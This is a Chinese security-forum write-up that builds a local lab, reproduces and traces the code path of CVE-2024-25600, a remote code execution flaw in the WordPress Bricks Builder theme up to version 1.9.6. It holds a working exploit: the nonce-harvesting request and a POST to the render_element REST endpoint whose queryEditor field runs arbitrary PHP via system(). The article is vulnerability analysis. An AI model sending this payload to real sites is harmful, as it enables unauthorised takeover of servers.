问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
一文搭建复现并分析CVE-2024-25600 WordPress Bricks Builder RCE最新漏洞
漏洞分析
一文搭建复现并分析CVE-2024-25600 WordPress Bricks Builder RCE最新漏洞
一文搭建复现并分析CVE-2024-25600 WordPress Bricks Builder RCE最新漏洞 ======================================================== WordPres Bricks Builder 是一个 WordPress 页面构建器插件,旨在帮助用户轻松创建具有吸引力和交互性的网站页面,而无需编写代码。该插件提供了直观的拖放界面和各种预制模块,使用户可以快速构建自定义布局,添加内容和样式,以及实现所需的功能。WordPress配置安装的Brick Builder主题在低于<= 1.9.6版本中存在远程代码执行漏洞。 Bricks Builder官方<https://bricksbuilder.io/> Bricks Builder使用手册<https://academy.bricksbuilder.io/topic/getting-started/> 参考链接: <https://bricksbuilder.io/release/bricks-1-9-6-1/> <https://www.cve.org/CVERecord?id=CVE-2024-25600> 漏洞环境 ---- **Windows版:** **搭建方法.修改根目录的配置文件wp-config-sample.php** ![image-20240318205350838](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-729bb8ed9a9da9295d88c6bd7ae4d1fdc458e4e7.png) ![image-20240318205411289](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-23666c59bbb93b93d58602ff045c6e90f8ed39c8.png) **配置站点与管理员账号密码** **![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-050b8e6758431381e84a0f3cc07ab004a03a7a12.png)** **进入后台** **![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-1715f746810f28d38af1f58bbbc43d62a69f9e69.png)** **安装Bricks1.9.5,并激活他** **由于我是直接在源码里面导入了** **所以我这边直接就是激活成功的** **![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-6ed4730b27047cd0ff8756cb5d76d4356f76546f.png)** Docker版: **在kali里面执行docker-compose up,是直接打包好的,直接拉镜像就可以了,拉完访问127.0.0.1就行,映射到80端口了,剩下和window流程一样** **服务启动后,可访问[http://your-ip:80/](http://your-ip/)将自动跳转到wordpress安装向导界面** **有需要源码和打包的文件的师傅可以私信我** 漏洞复现 ---- **首先,根路径查看Bricks 返回的nonce值** ```php GET /wordpress/ HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate, br sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122" sec-ch-ua-mobile: ?0 Sec-Fetch-Dest: document Sec-Fetch-User: ?1 Accept-Language: zh-CN,zh;q=0.9 Cookie: wordpress\_test\_cookie=WP+Cookie+check Sec-Fetch-Site: none Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Sec-Fetch-Mode: navigate sec-ch-ua-platform: "Windows" ``` ![图形用户界面, 文本, 应用程序 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a8d3a9bf760e650239ff2645977bc570f55ac3dd.png)\*\* **得到nonce值** ```php { "debug": "", "locale": "zh_CN", "ajaxUrl": "http://localhost/wordpress/wp-admin/admin-ajax.php", "restApiUrl": "http://localhost/wordpress/wp-json/bricks/v1/", "nonce": "a980a714d9", "wpRestNonce": "31dc189c84", "postId": "0", "recaptchaIds": [], "animatedTypingInstances": [], "videoInstances": [], "splideInstances": [], "tocbotInstances": [], "swiperInstances": [], "queryLoopInstances": [], "interactions": [], "facebookAppId": "", "offsetLazyLoad": "300", "headerPosition": "top" } ``` **之后发送如下请求** ```php POST /WordPress-6.4.3/wp-json/bricks/v1/render\_element HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Connection: close Content-Length: 270 Content-Type: application/json Accept-Encoding: gzip, deflate, { "postId": "1", "nonce": " a980a714d9", "element": { "name": "container", "settings": { "hasLoop": "","query": {"useQueryEditor": "","queryEditor": "system('calc');","objectType": ""} } } } ``` 漏洞分析 ---- 位于\\wp-content\\themes\\bricks\\includes\\query.php中346行 **![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-8bc3cfc3d4baf6ea94ba508b86634856db225b82.png)** **里面的$php\_query\_raw函数用来执行用户提交的PHP代码并返回结果** **紧接着向上分析** **![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-d635e34cfcdb062da0498ee4b7a575defe2db1a1.png)** $php\_query\_raw由bricks\_render\_dynamic\_data( $query\_vars\['queryEditor'\], $post\_id );得到 可以追入bricks\_render\_dynamic\_data 查看是否对数据进行了过滤处理 **![文本 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-63890692b7ee8540ec62b00c2c85998920cabbd3.png)** render\_content方法 **![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-692a418c2d515630a3427da35375b4184868cece.png)** **然后返回query.php继续分析$query\_vars \['queryEditor'\]参数** **![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-97cafaf926058353e0e20c1c81251289d6bbcd5c.png)** **在302行出现了$query\_vars** **$query\_vars由传入的形参得来** **右键find usages 找到调用这个方法(prepare\_query\_vars\_from\_settings)被调用的地方** **考虑\_\_construct方法,该方法会在实例化类时自动执行** **在调用方法的代码行111行,** **![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-7cb10bf88fea18d08215a43b4f0f6994d83e12d9.png)** **要想成功调用prepare\_query\_vars\_from\_settings方法成功需要** 1.在element参数下setting参数下的query参数下,要有参数objectType 2.进入else语句块,$element\['id'\]为空即可 (即不考虑这个参数) 3.在element参数下setting参数下的query参数下,设置参数queryEditor为我们rce代码 4.在element参数下setting参数下的query参数下,要有参数useQueryEditor ![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a143cf6cec853fa45ab823468f2e4ca441da0e9c.png) 上述的方法有点困难,那我们继续分析 在ajax.php中该类在297行,有实例化l类 Query ![img](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-e9c1bcd67b0e68a95409474873feadf34d2d7c8b.png) 重点参数$loop\_elemet 但是在273-289行之间同时设置了ajax与rest api这两种请求方式,而不是ajax请求 element参数下没有参数loopElement $loop\_elemet将被置为false 296行的if语句也将为假,这里 new Query是执行不了的. 所以这里还是不行 在312行我们可以实例化对象, 不过只能对特定的类进行实例化 ![电脑萤幕截图 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-e5f5928083f7d753c04597d02d75f3b40928a362.png) 类似于白名单,我们对如下的类进行实例化 ![文本 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-268d6844f54bc74da1b27dbec50aef82a4b86846.png) 假如我们在参数element下设置了name=container,则会实例化Container类 ![电脑屏幕的截图 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-ccf5f91a6314435b88ab9b6220d03731b46de503.png) 分析element成员是否我们可控的 在ajax.php中render\_element函数中,$element变量是我们可控的,在312行代码将这个变量赋予了实例化container类 分析下的它的构造函数 ![电脑萤幕的截图 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-316b6f8a0efb9e2a0cd46bbb5b5e8168802a6441.png) 跟入类Container的\_\_construct 魔术方法(在继承的父类) ![电脑萤幕的截图 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-3057f323f44bf7542b7fc5db5a007523dc9c5f0f.png) 分析它对传入的$element做了什么处理。上图赋予了此类的的element变量 接下来就分析container类render方法的调用了 ![电脑萤幕截图 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-dffba037818240d915f64d7731eb3d616212ba3b.png) 我们发现base类init方法调用了render方法(继承关系container可以调用此方法) 继续分析render\_element函数对container对象又执行了那些操作 ![文本 描述已自动生成](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-2e03778f5f2dd43261e94c14c244d3c961e0f7d7.png) container对象调用了init方法,RCE代码执行成功!
发表于 2024-03-25 10:00:00
阅读 ( 15539 )
分类:
漏洞分析
11 推荐
收藏
0 条评论
请先
登录
后评论
xhys
7 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!